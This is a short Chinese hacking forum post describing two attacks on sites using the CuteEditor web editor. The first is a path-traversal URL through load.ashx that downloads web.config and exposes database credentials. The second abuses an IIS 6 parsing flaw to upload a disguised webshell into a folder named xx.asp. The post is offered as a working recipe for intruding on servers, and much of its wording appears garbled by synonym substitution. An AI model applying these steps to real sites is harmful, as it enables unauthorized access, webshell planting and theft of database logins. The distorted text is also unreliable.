两则cuteeditor操纵办法[网络技术]

作者:m@w01f
1.直接下载load.ashx配置文件
http://www.7747.net/CuteSoft_Clie ... ../../../web.config

然后查看一些sql配置信息 从sql数据库衔接动手

<connectionStrings>
    <add name="ynncConnectionString" connectionString="Server=.;DataBase=ynta; UID=sa;PWD="/>
    <add name="strConn" connectionString="Server=.;DataBase=ynta; UID=sa;PWD="/>
</connectionStrings>
<location path="admin/images">
    <system.web>
      <authorization>
        <allow users="?" roles="Admin,Manager,User"/>   
      </authorization>
    </system.web>
</location>

<location path="admin">
    <system.web>
      <authorization>
        <deny users="?" roles="Admin,Manager,User"/>
        <allow users="*"/>  
      </authorization>
    </system.web>
</location>

<location path="admin/YNTA_UpFile">
    <system.web>
      <authorization>
        <allow users="?" roles="Admin,Manager,User"/>
      </authorization>
    </system.web>
</location>

<location path="admin/flv">
    <system.web>
      <authorization>
        <allow users="?" roles="Admin,Manager,User"/>
      </authorization>
    </system.web>
</location>
2.2003 iis解析(后台拿webshell)

填加新闻--上传音乐,视频等图标---新建目录xx.asp 然后上传小马x.avi
图片方面因为格局查抄严峻~!不成功~求冲破.

菜鸟文章 说法不专业 请各位多多包涵.
趁便谈论哈一些编辑器以及其漏洞 珍藏整理 供人查阅利用.
目前就知道个ewebeditor ,fckeditor,cuteeditor.
请大牛多多分享 包涵!